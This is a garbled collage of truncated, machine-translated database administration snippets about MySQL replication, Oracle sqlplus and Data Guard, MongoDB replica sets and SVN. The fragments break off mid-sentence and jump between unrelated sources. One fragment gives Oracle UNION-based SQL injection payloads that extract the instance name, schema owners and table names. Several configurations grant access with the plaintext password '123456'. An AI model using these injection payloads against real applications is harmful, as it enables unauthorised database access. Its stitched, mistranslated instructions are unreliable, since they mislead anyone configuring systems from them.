versions are merged, the path of the input files in the source and destination, the version number, click OK. The system merges the files and, if there is a conflict, refer to conflict resolution.
15. Export (exporting)Export the entire work copy to a local directory, the exported file will not have the SVN file flag, the files and folders do not have a green "√" sign.
16. Relocate (reposition)When the file vault directory on the server has changed,
Label: Experiment: A master more from 3307 Configuration: [Mysqld] Log-slave-updates # the middle need to open this . Log-bin =/data/3307/mysql-bin expire_logs_days = 7 #binlog How many days are saved find–mtime +7 Prevents writes from the library from being written to ignore synchronous db. Or reclaim permissions from the Vault: [Mysqld] Slave-skip-errors = 1032,1062 replicate-ignore-db = MySQL binlog-ignore-db = MySQL Binlog-ignore-db = Informat
] tmp-2.0.6]#[Email protected] bin]# Ldconfig[Email protected] bin]#./sqlplusSql*plus:release 11.2.0.3.0 Production on Sun June 9 10:24:26 2013Copyright (c) 1982, Oracle. All rights reserved.Enter User-name:ERROR:Ora-12162:tns:net Service name is incorrectly specifiedEnter User-name: ^c[Email protected] bin]#Test it:[Email protected] oracle]# sqlplus tmp/[email protected]/momorac.momo.orgSql*plus:release 11.2.0.3.0 Production on Sun June 9 12:21:29 2013Copyright (c) 1982, Oracle. All rights rese
Download and user Empowerment Reference previous article Percona-toolkit pt-table-checksums detection of MySQL master-slave data consistencyUse Pt-table-checksums to detect data consistency, and then use Pt-table-sync for master-slave consistency repair, noting that the repaired table must have a primary key or a unique indexUnder Main vault bash execution:./pt-table-checksum--nocheck-replication-filters--replicate=test.checksums--host=10.50.12.33--po
1) Reclaim the user's write permissions from the Vault (Update/delete/insert)This method must ensure that the corresponding user on the main library does not change, and if it does change, the user's authorization will be synchronized to the library, resulting in the recovery failure.Experimental topological diagramNote that there are multiple instances running on master, and this test uses a 3308 port instance.650) this.width=650; "src=" Http://s5.51
ImmediateOra-01031:insufficient PrivilegesSql> Conn/as sysdba;Connected.sql> shutdown ImmediateDatabase closed.Database dismounted.ORACLE instance shut down.Sql> StartupORACLE instance started.Total System Global area 583008256 bytesFixed Size 2097984 bytesVariable Size 159386816 bytesDatabase buffers 415236096 bytesRedo buffers 6287360 bytesDatabase mounted.Database opened.Sql> Conn Dave1/dave;Connected.So we rebuild the password file does not solve the problem. So in Oracle 10g, passwords are
variables like '%timeout% ';#5 Query Bin-log log where to query the state of the main libraryShow master status;Queries the main library state, that is, the current Binlog log file name and binary Binlog log offset.That means I'm now in the main vault, writing data to Bin-log, 000001, 342-bit location for this file.#6 back up all libraries to export all data in the databaseMysqldump-u root-p123456--events--compact--default-character-set=utf8-a-b-f |g
have full standby and Binlog log, is the full backup2.server-id=3 #server-id Don't be like the main vault.3. Reboot from Library4. View statusShow variables like "%log_bin%"Show variables like "%server%"
Four: Recovering from a librarymysql-uroot-p123456
V: Tell from which point the library is backed upChange Master to master_host= ' master address ',Master_user= ' Tom ',master_password= ' Password ',Master_log_file= ' mysql-bin.000002 '
1. Create
You can create a new MAVEN project
2, obviously the name is also right, reimport, or did not introduce to Lib
Open the project properties and select libraries to see if there is a wavy red line
I found out that Mrunit-1.0.0.jar couldn't find it, and then I used the finder to get to this address,
To Apache Mrunit under a version of the same package copy the past, renamed to Mrunit-1.0.0.jar,
And then reimport it in the vault.
3.
1, directory as follows
/export/servers/dbs/node1/
192.168.192.75:75 Server as Node 2, directory as follows
Start node1 node:
-bash-3.2#./bin/mongod--dbpath./data/node1--logpath./data/node1/node1.log--port 10001--replSet test/ 192.168.192.75:10002
Start node2 node: :
[Root@localhost mongodb-linux-x86_64-2.0.4]#./bin/mongod--dbpath./data/node2/--port 10002--replSet test/
link to a server via 192.168.192.68:
./bin/mongo 192.168.229.80:1
only) Delete a database based on an existing database (structure and data) using DBCA Note: The database to be deleted must be valid and running so that DBCA can connect to the database to determine the file location. Manually deleting a database drop database nbsp must meet the following conditions The database must be mounted and closed The database must be loaded exclusively database must already be started in restrict mode STARTUP RESTRICT Force
currently active. ALTER DATABASE commit to switchover to physical standby with session shutdown; The library is modified to standby Standby: Restart the main library shutdown immediate;startup mount; Check the switchable state of the repository: select Switchover_status from v$database; if it is to Primary can switch normally, alter database commit to switchover to primary, if sessions active: Alter database Nbsp;commit to SwitchoveR to Primary with session shutdown; Run the complete fallback
Server Sidand 1=2 Union Select Null,null, (select Instance_namefrom v$instance) from dual Vault Nameand 1=2 Union Select Null,null, (select owner from All_tables where Rownum=1) from dualAfter the first library name is burst, you can continue to explode other library names using the following statementand 1=2 Union Select Null,null, (select owner from all_table where Rownum=1 and ownerGet table nameand 1=2 Union Select Null,null, (select table_name f
the library if you also want to master the library, also open the Log_bin and log-slave-update parametersTo configure the read and write MySQL master-slave replication steps:1. Install the MySQL database in both the main library and the slave library2. Configure Server-id and Log-bin in the main library's configuration file (/ETC/MY.CNF)3. Create an authenticated user and authorize it after logging in to the main library.4. Configure the Server-id in the configuration file (/ETC/MY.CNF) from th
|+----+------+------+------+| 1 | 3 | 3 | 6 |+----+------+------+------+1 row in Set (0.00 sec) 5. Create a copy account on MYSQL-M1 and mysql-m2:This operation is the same as the previous version of MySQL 5.7:Create on MYSQL-M1mysql> grant replication slave on *.* to ‘rep‘@‘192.168.56.23‘ identified by ‘123456‘;mysql> flush privileges;(必须刷新权限否则不生效的)Create on MYSQL-M2mysql> grant replication slave on *.* to ‘rep‘@‘192.168.56.23‘ identified by ‘123456‘;Query OK, 0 rows affected, 1 warn
/data--logpath=/usr/local//mongodb/mongod.log--fork--auth or modified in config file: auth = True#noauth = True5, enter the MONGO shell, use the admin database and verify, if not verified, can not do any operation. > use admin> db.auth ("admin", "123456") #认证, returns 1 for successful 6, after validation, or not, because admin only has user administrative rights, create user below, The user follows the vault,> use mydb> db.createuser ({User: "root",
What kind of audit trail is supported in a 12c database?From: What Audit Trail Types is supported for A 12c Database?(Document ID 1986609.1)Suitable for:Oracle Audit Vault and Database firewall-version 12.1.2.0 and laterInformation in this document applies to any platform.Goal:What kind of audit trail is supported in a 12c database?How to resolve:All trail types receive support when non-PDB is usedWhen the PDB is used. Only table and directory trail a
pathOracle.install.responseFileVersion the version of the response file template, this parameter does not changeOracle.install.option installation option, this example installs only the Oracle software, this parameter does not changeDecline_security_updates whether an online security update is required, set to false, do not change the parameterOracle_hostname Install host NameUnix_group_name the group name that Oracle users use to install softwareInventory_location Oracle Product Inventory Cata
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